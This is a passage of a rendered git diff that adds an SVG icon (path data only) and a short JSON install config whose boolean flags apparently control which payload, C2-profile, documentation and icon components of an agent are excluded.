-9 -8z"/>
|
||||||
|
<path d="M3671 3000 c24 -30 44 -57 46 -59 2 -2 3 0 3 5 0 5 -21 32 -46 59
|
||||||
|
l-46 50 43 -55z"/>
|
||||||
|
<path d="M3778 3043 c7 -3 16 -2 19 1 4 3 -2 6 -13 5 -11 0 -14 -3 -6 -6z"/>
|
||||||
|
<path d="M3815 3040 c4 -6 11 -8 16 -5 14 9 11 15 -7 15 -8 0 -12 -5 -9 -10z"/>
|
||||||
|
<path d="M3880 3040 c0 -5 7 -7 15 -4 8 4 15 8 15 10 0 2 -7 4 -15 4 -8 0 -15
|
||||||
|
-4 -15 -10z"/>
|
||||||
|
<path d="M3920 3046 c0 -2 7 -9 15 -16 9 -7 15 -8 15 -2 0 5 -7 12 -15 16 -8
|
||||||
|
3 -15 4 -15 2z"/>
|
||||||
|
<path d="M4056 3033 c-4 -10 0 -23 11 -32 16 -15 16 -15 4 2 -11 14 -11 20 -1
|
||||||
|
32 7 9 8 15 2 15 -5 0 -13 -8 -16 -17z"/>
|
||||||
|
<path d="M4165 3040 c3 -5 8 -10 11 -10 2 0 4 5 4 10 0 6 -5 10 -11 10 -5 0
|
||||||
|
-7 -4 -4 -10z"/>
|
||||||
|
<path d="M4340 3040 c0 -5 7 -7 15 -4 8 4 15 8 15 10 0 2 -7 4 -15 4 -8 0 -15
|
||||||
|
-4 -15 -10z"/>
|
||||||
|
<path d="M4396 3028 c10 -14 21 -24 23 -22 3 3 -6 15 -18 27 l-24 22 19 -27z"/>
|
||||||
|
<path d="M4490 3039 c0 -5 5 -7 10 -4 6 3 10 8 10 11 0 2 -4 4 -10 4 -5 0 -10
|
||||||
|
-5 -10 -11z"/>
|
||||||
|
<path d="M4520 3046 c0 -2 7 -9 15 -16 13 -11 14 -10 9 4 -5 14 -24 23 -24 12z"/>
|
||||||
|
<path d="M4309 3023 c-13 -16 -12 -17 4 -4 9 7 17 15 17 17 0 8 -8 3 -21 -13z"/>
|
||||||
|
<path d="M4459 3023 c-13 -16 -12 -17 4 -4 16 13 21 21 13 21 -2 0 -10 -8 -17
|
||||||
|
-17z"/>
|
||||||
|
<path d="M4571 3020 c14 -31 19 -36 19 -24 0 6 -7 19 -16 30 -14 18 -14 18 -3
|
||||||
|
-6z"/>
|
||||||
|
<path d="M4121 3014 c0 -11 3 -14 6 -6 3 7 2 16 -1 19 -3 4 -6 -2 -5 -13z"/>
|
||||||
|
<path d="M3476 3005 c-9 -26 -7 -32 5 -12 6 10 9 21 6 23 -2 3 -7 -2 -11 -11z"/>
|
||||||
|
<path d="M3520 3015 c0 -5 5 -17 10 -25 5 -8 10 -10 10 -5 0 6 -5 17 -10 25
|
||||||
|
-5 8 -10 11 -10 5z"/>
|
||||||
|
<path d="M3620 3014 c0 -15 99 -120 100 -106 0 6 -4 12 -9 12 -5 0 -28 23 -50
|
||||||
|
51 -23 29 -41 48 -41 43z"/>
|
||||||
|
<path d="M3887 2999 c7 -7 15 -10 18 -7 3 3 -2 9 -12 12 -14 6 -15 5 -6 -5z"/>
|
||||||
|
<path d="M3822 2980 c0 -14 2 -19 5 -12 2 6 2 18 0 25 -3 6 -5 1 -5 -13z"/>
|
||||||
|
<path d="M3850 2991 c0 -6 4 -13 10 -16 6 -3 7 1 4 9 -7 18 -14 21 -14 7z"/>
|
||||||
|
<path d="M4037 2979 c12 -12 24 -21 27 -18 2 2 -8 13 -22 23 l-27 19 22 -24z"/>
|
||||||
|
<path d="M3501 2980 c0 -15 38 -91 39 -79 0 4 -9 26 -20 50 -11 24 -19 37 -19
|
||||||
|
29z"/>
|
||||||
|
<path d="M3921 2987 c2 -1 13 -9 24 -17 19 -14 19 -14 6 3 -7 9 -18 17 -24 17
|
||||||
|
-6 0 -8 -1 -6 -3z"/>
|
||||||
|
<path d="M4171 2974 c0 -11 3 -14 6 -6 3 7 2 16 -1 19 -3 4 -6 -2 -5 -13z"/>
|
||||||
|
<path d="M3456 2955 c-9 -26 -7 -32 5 -12 6 10 9 21 6 23 -2 3 -7 -2 -11 -11z"/>
|
||||||
|
<path d="M3540 2965 c0 -5 5 -17 10 -25 5 -8 10 -10 10 -5 0 6 -5 17 -10 25
|
||||||
|
-5 8 -10 11 -10 5z"/>
|
||||||
|
<path d="M4291 2944 c0 -11 3 -14 6 -6 3 7 2 16 -1 19 -3 4 -6 -2 -5 -13z"/>
|
||||||
|
<path d="M4572 2940 c-7 -11 -8 -20 -3 -20 9 0 24 30 18 36 -1 2 -8 -6 -15
|
||||||
|
-16z"/>
|
||||||
|
<path d="M3846 2937 c2 -7 14 -19 27 -26 21 -13 21 -12 -2 13 -27 29 -33 32
|
||||||
|
-25 13z"/>
|
||||||
|
<path d="M4020 2943 c0 -6 8 -17 18 -24 16 -13 16 -13 2 6 -8 11 -16 22 -17
|
||||||
|
24 -2 2 -3 0 -3 -6z"/>
|
||||||
|
<path d="M4480 2944 c0 -6 7 -19 16 -30 14 -18 14 -18 3 6 -14 31 -19 36 -19
|
||||||
|
24z"/>
|
||||||
|
<path d="M3950 2932 c0 -7 -6 -12 -14 -12 -8 0 -17 -4 -20 -9 -4 -5 3 -7 14
|
||||||
|
-4 22 6 35 21 26 30 -3 4 -6 1 -6 -5z"/>
|
||||||
|
<path d="M4105 2919 c-16 -10 -25 -19 -19 -19 7 0 22 9 35 20 30 24 23 24 -16
|
||||||
|
-1z"/>
|
||||||
|
<path d="M4167 2921 c-4 -17 -3 -21 5 -13 5 5 8 16 6 23 -3 8 -7 3 -11 -10z"/>
|
||||||
|
<path d="M4344 2923 c23 -28 28 -28 57 -2 l24 20 -28 -17 c-26 -16 -29 -16
|
||||||
|
-50 2 l-22 19 19 -22z"/>
|
||||||
|
<path d="M4450 2936 c0 -2 8 -10 18 -17 15 -13 16 -12 3 4 -13 16 -21 21 -21
|
||||||
|
13z"/>
|
||||||
|
<path d="M4530 2915 c-8 -9 -8 -15 -2 -15 12 0 26 19 19 26 -2 2 -10 -2 -17
|
||||||
|
-11z"/>
|
||||||
|
<path d="M3430 2910 c-9 -6 -10 -10 -3 -10 6 0 15 5 18 10 8 12 4 12 -15 0z"/>
|
||||||
|
<path d="M4185 2784 c-102 -156 -108 -164 -101 -164 3 0 46 61 96 135 50 74
|
||||||
|
87 135 83 135 -5 0 -39 -48 -78 -106z"/>
|
||||||
|
<path d="M4082 2858 c-21 -21 -14 -66 13 -84 23 -15 27 -15 50 0 29 19 33 56
|
||||||
|
9 80 -18 19 -55 21 -72 4z m56 -32 c4 -33 -17 -64 -29 -44 -11 16 -12 62 -2
|
||||||
|
72 13 13 28 -1 31 -28z"/>
|
||||||
|
<path d="M3793 2772 l-62 -87 45 -3 c35 -2 44 -7 44 -22 0 -10 -6 -21 -12 -23
|
||||||
|
-7 -3 7 -6 32 -6 34 -1 41 2 32 11 -7 7 -12 18 -12 25 0 21 29 15 53 -11 12
|
||||||
|
-13 33 -28 47 -31 l25 -7 -22 24 c-23 25 -28 44 -17 72 9 24 30 19 53 -10 25
|
||||||
|
-32 26 -38 5 -58 -21 -22 3 -22 34 0 30 20 28 59 -4 91 l-25 25 20 20 c27 24
|
||||||
|
26 43 -1 62 -31 22 -74 20 -98 -4 -25 -25 -25 -41 0 -72 l19 -25 -23 -22 c-20
|
||||||
|
-19 -28 -21 -45 -12 -17 9 -21 23 -23 81 l-3 70 -62 -88z m215 44 c5 -42 -12
|
||||||
|
-52 -36 -21 -24 31 -19 57 12 53 15 -2 22 -11 24 -32z m-188 -66 c0 -36 -2
|
||||||
|
-40 -25 -40 -14 0 -25 2 -25 5 0 6 44 75 48 75 1 0 2 -18 2 -40z"/>
|
||||||
|
<path d="M3558 2843 c34 -2 90 -2 125 0 34 2 6 3 -63 3 -69 0 -97 -1 -62 -3z"/>
|
||||||
|
<path d="M4328 2843 c34 -2 90 -2 125 0 34 2 6 3 -63 3 -69 0 -97 -1 -62 -3z"/>
|
||||||
|
<path d="M4185 2710 c-35 -39 9 -104 55 -80 34 18 44 48 25 76 -19 29 -55 31
|
||||||
|
-80 4z m53 -30 c4 -42 -12 -60 -28 -30 -14 26 -5 73 13 67 7 -2 13 -18 15 -37z"/>
|
||||||
|
<path d="M3465 2526 c-22 -16 -25 -67 -5 -91 9 -11 26 -15 53 -13 56 4 60 25
|
||||||
|
5 24 -43 -1 -43 -1 -43 34 0 34 1 35 38 35 23 0 37 5 37 13 0 16 -61 16 -85
|
||||||
|
-2z"/>
|
||||||
|
<path d="M3647 2480 c-18 -43 -22 -60 -12 -60 7 0 15 7 19 15 8 21 53 19 65
|
||||||
|
-2 5 -10 12 -15 16 -12 8 8 -41 119 -53 119 -5 0 -20 -27 -35 -60z m42 -9
|
||||||
|
c-15 -5 -22 6 -14 19 6 9 10 9 16 -1 5 -8 4 -15 -2 -18z"/>
|
||||||
|
<path d="M3810 2531 c0 -6 14 -11 31 -13 l31 -3 -37 -47 -36 -48 56 0 c30 0
|
||||||
|
55 5 55 10 0 6 -16 10 -36 10 l-36 0 29 38 c49 62 49 62 -6 62 -28 0 -51 -4
|
||||||
|
-51 -9z"/>
|
||||||
|
<path d="M3997 2480 c-18 -43 -22 -60 -12 -60 7 0 15 7 19 15 7 20 46 19 62
|
||||||
|
-2 7 -10 15 -15 18 -12 8 8 -41 119 -52 119 -5 0 -20 -27 -35 -60z m43 5 c0
|
||||||
|
-8 -4 -15 -10 -15 -5 0 -10 7 -10 15 0 8 5 15 10 15 6 0 10 -7 10 -15z"/>
|
||||||
|
<path d="M4160 2480 l0 -60 40 0 c22 0 40 5 40 10 0 6 -13 10 -30 10 -29 0
|
||||||
|
-30 1 -30 50 0 28 -4 50 -10 50 -6 0 -10 -27 -10 -60z"/>
|
||||||
|
<path d="M4310 2480 l0 -60 35 0 c19 0 35 5 35 10 0 6 -11 10 -25 10 -23 0
|
||||||
|
-25 3 -25 50 0 28 -4 50 -10 50 -6 0 -10 -27 -10 -60z"/>
|
||||||
|
<path d="M4474 2503 c-31 -74 -34 -83 -23 -83 5 0 12 7 15 15 8 21 54 19 70
|
||||||
|
-2 7 -10 15 -16 18 -13 7 8 -45 120 -55 120 -5 0 -16 -17 -25 -37z m36 -18 c0
|
||||||
|
-8 -4 -15 -10 -15 -5 0 -10 7 -10 15 0 8 5 15 10 15 6 0 10 -7 10 -15z"/>
|
||||||
|
<path d="M3320 2485 c0 -9 5 -15 11 -13 6 2 11 8 11 13 0 5 -5 11 -11 13 -6 2
|
||||||
|
-11 -4 -11 -13z"/>
|
||||||
|
<path d="M4660 2485 c0 -9 5 -15 11 -13 6 2 11 8 11 13 0 5 -5 11 -11 13 -6 2
|
||||||
|
-11 -4 -11 -13z"/>
|
||||||
|
<path d="M3585 2340 c17 -4 206 -8 420 -8 215 0 404 4 420 8 17 4 -172 8 -420
|
||||||
|
8 -247 0 -436 -4 -420 -8z"/>
|
||||||
|
<path d="M3841 1645 c1 -30 4 -55 8 -55 3 0 14 19 23 41 14 33 14 38 3 29 -13
|
||||||
|
-10 -15 -8 -15 14 0 14 -4 26 -10 26 -6 0 -9 -24 -9 -55z"/>
|
||||||
|
<path d="M3976 1686 c3 -8 -3 -16 -16 -19 -17 -4 -21 -12 -18 -39 2 -25 8 -34
|
||||||
|
26 -36 21 -3 22 0 22 52 0 31 -4 56 -10 56 -5 0 -7 -6 -4 -14z m-4 -78 c-15
|
||||||
|
-15 -27 14 -17 40 6 15 8 15 18 -6 7 -16 7 -26 -1 -34z"/>
|
||||||
|
<path d="M4140 1645 c0 -30 4 -55 10 -55 5 0 7 7 4 15 -4 8 -1 15 5 15 6 0 11
|
||||||
|
-7 11 -15 0 -8 5 -15 10 -15 7 0 7 6 0 20 -8 14 -8 26 0 40 7 14 7 20 0 20 -5
|
||||||
|
0 -10 -4 -10 -10 0 -5 -4 -10 -9 -10 -4 0 -6 11 -3 25 2 15 0 25 -7 25 -7 0
|
||||||
|
-11 -21 -11 -55z"/>
|
||||||
|
<path d="M3535 1640 c4 -19 12 -39 17 -45 7 -7 8 2 3 25 -4 19 -12 40 -17 45
|
||||||
|
-7 7 -8 -2 -3 -25z"/>
|
||||||
|
<path d="M3567 1656 c-10 -25 -9 -38 3 -31 6 3 10 -3 10 -14 0 -35 17 -23 28
|
||||||
|
19 5 22 6 40 2 40 -5 0 -10 -10 -13 -22 l-4 -23 -10 24 c-8 21 -11 22 -16 7z"/>
|
||||||
|
<path d="M3631 1655 c-1 -29 10 -65 20 -65 5 0 9 9 9 20 0 11 -4 20 -9 20 -5
|
||||||
|
0 -12 10 -14 23 -4 19 -4 19 -6 2z"/>
|
||||||
|
<path d="M3660 1657 c0 -17 23 -67 31 -67 7 0 20 53 18 74 0 6 -5 0 -11 -14
|
||||||
|
-11 -25 -11 -25 -15 -2 -5 23 -23 31 -23 9z"/>
|
||||||
|
<path d="M3723 1654 c3 -11 9 -30 12 -43 l7 -24 13 23 12 22 7 -23 c5 -19 8
|
||||||
|
-21 15 -9 15 26 23 72 11 65 -5 -3 -10 -16 -11 -28 -1 -20 -2 -19 -13 6 l-12
|
||||||
|
27 -11 -27 c-10 -25 -11 -26 -12 -6 -1 12 -6 25 -12 29 -7 4 -9 0 -6 -12z"/>
|
||||||
|
<path d="M3900 1628 c0 -21 5 -38 10 -38 6 0 10 11 10 24 0 13 2 31 5 39 4 8
|
||||||
|
0 14 -10 14 -11 0 -15 -11 -15 -39z"/>
|
||||||
|
<path d="M4008 1630 c-2 -22 0 -40 4 -40 5 0 8 13 8 28 0 15 5 33 12 40 9 9 8
|
||||||
|
12 -4 12 -11 0 -17 -12 -20 -40z"/>
|
||||||
|
<path d="M4053 1630 c0 -25 2 -35 4 -22 2 12 2 32 0 45 -2 12 -4 2 -4 -23z"/>
|
||||||
|
<path d="M4081 1628 c2 -34 3 -37 6 -13 7 46 23 55 23 12 0 -20 4 -37 9 -37 5
|
||||||
|
0 8 15 7 33 -4 47 -4 47 -26 47 -17 0 -20 -6 -19 -42z"/>
|
||||||
|
<path d="M4204 1655 c-4 -8 0 -22 7 -31 10 -13 10 -17 -2 -25 -12 -7 -11 -9 3
|
||||||
|
-9 23 0 28 22 10 43 -14 16 -14 19 -2 27 11 7 11 10 2 10 -7 0 -15 -7 -18 -15z"/>
|
||||||
|
<path d="M4280 1655 c-17 -20 -4 -65 18 -64 10 0 12 3 5 6 -19 7 -16 50 5 62
|
||||||
|
15 9 15 10 1 11 -9 0 -22 -7 -29 -15z"/>
|
||||||
|
<path d="M4330 1655 c-17 -21 -4 -67 18 -63 12 2 17 13 17 37 0 38 -15 50 -35
|
||||||
|
26z m30 -31 c0 -13 -4 -24 -10 -24 -5 0 -10 14 -10 31 0 17 4 28 10 24 6 -3
|
||||||
|
10 -17 10 -31z"/>
|
||||||
|
<path d="M4391 1628 c2 -34 3 -37 6 -13 7 46 23 55 23 12 0 -20 5 -37 10 -37
|
||||||
|
6 0 10 16 10 35 0 45 18 45 23 0 l4 -35 -1 37 c-1 36 -3 38 -38 41 l-38 2 1
|
||||||
|
-42z"/>
|
||||||
|
<path d="M3870 1611 c0 -5 5 -13 10 -16 6 -3 10 -2 10 4 0 5 -4 13 -10 16 -5
|
||||||
|
3 -10 2 -10 -4z"/>
|
||||||
|
<path d="M3815 1600 c-3 -5 -1 -10 4 -10 6 0 11 5 11 10 0 6 -2 10 -4 10 -3 0
|
||||||
|
-8 -4 -11 -10z"/>
|
||||||
|
<path d="M3611 1392 c-14 -27 -11 -64 6 -70 19 -6 27 25 16 61 -9 32 -9 32
|
||||||
|
-22 9z m19 -37 c0 -14 -4 -25 -10 -25 -5 0 -10 11 -10 25 0 14 5 25 10 25 6 0
|
||||||
|
10 -11 10 -25z"/>
|
||||||
|
<path d="M4247 1394 c-4 -4 -7 -22 -7 -41 0 -40 26 -46 36 -7 7 26 -15 62 -29
|
||||||
|
48z m10 -51 c-3 -10 -5 -4 -5 12 0 17 2 24 5 18 2 -7 2 -21 0 -30z"/>
|
||||||
|
<path d="M3532 1355 c0 -19 4 -35 9 -35 8 0 14 23 10 44 -1 5 4 13 11 17 9 6
|
||||||
|
7 9 -8 9 -18 0 -22 -6 -22 -35z"/>
|
||||||
|
<path d="M3681 1353 c0 -21 3 -32 6 -24 4 10 7 11 13 1 5 -8 8 2 8 24 0 24 -5
|
||||||
|
36 -14 36 -10 0 -14 -12 -13 -37z"/>
|
||||||
|
<path d="M3750 1357 c0 -26 4 -32 23 -33 20 -1 22 2 19 30 -3 23 -9 32 -23 33
|
||||||
|
-15 1 -19 -5 -19 -30z"/>
|
||||||
|
<path d="M3832 1358 c4 -47 32 -45 35 2 l1 35 -7 -35 c-6 -28 -9 -31 -15 -17
|
||||||
|
-5 9 -6 24 -2 32 3 8 1 15 -5 15 -6 0 -9 -15 -7 -32z"/>
|
||||||
|
<path d="M3905 1355 c0 -29 4 -35 20 -34 11 0 14 3 8 6 -7 2 -13 18 -13 34 0
|
||||||
|
16 -3 29 -7 29 -5 0 -8 -16 -8 -35z"/>
|
||||||
|
<path d="M3976 1358 c-3 -17 -4 -33 -1 -36 3 -3 5 1 5 9 0 12 2 12 10 -1 13
|
||||||
|
-21 18 -10 13 28 -7 41 -19 41 -27 0z"/>
|
||||||
|
<path d="M4090 1355 c0 -42 10 -45 28 -8 16 37 15 43 -8 43 -16 0 -20 -7 -20
|
||||||
|
-35z"/>
|
||||||
|
<path d="M4170 1357 c0 -22 5 -34 14 -34 9 0 14 12 14 34 0 22 -5 33 -14 33
|
||||||
|
-9 0 -14 -11 -14 -33z"/>
|
||||||
|
<path d="M4310 1355 c0 -42 10 -45 27 -9 14 30 9 44 -13 44 -9 0 -14 -11 -14
|
||||||
|
-35z"/>
|
||||||
|
<path d="M4380 1355 c0 -19 5 -35 10 -35 6 0 10 16 10 35 0 19 -4 35 -10 35
|
||||||
|
-5 0 -10 -16 -10 -35z"/>
|
||||||
|
<path d="M4444 1355 c-6 -19 -7 -35 -3 -35 5 0 9 6 9 13 0 8 4 7 10 -3 8 -12
|
||||||
|
10 -12 9 5 0 11 -4 28 -7 37 -6 14 -10 10 -18 -17z"/>
|
||||||
|
<path d="M5100 990 c-7 -4 -9 -13 -6 -19 4 -6 2 -11 -5 -11 -7 0 -10 -2 -7 -5
|
||||||
|
8 -8 58 13 58 24 0 13 -25 20 -40 11z"/>
|
||||||
|
</g>
|
||||||
|
</svg>
|
||||||
|
After Width: | Height: | Size: 16 KiB |
@@ -0,0 +1,7 @@
|
|||||||
|
{
|
||||||
|
"exclude_payload_type": false,
|
||||||
|
"exclude_c2_profiles": true,
|
||||||
|
"exclude_documentation_payload": true,
|
||||||
|
"exclude_documentation_c2": true,
|
||||||
|
"exclude_agent_icons": false
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user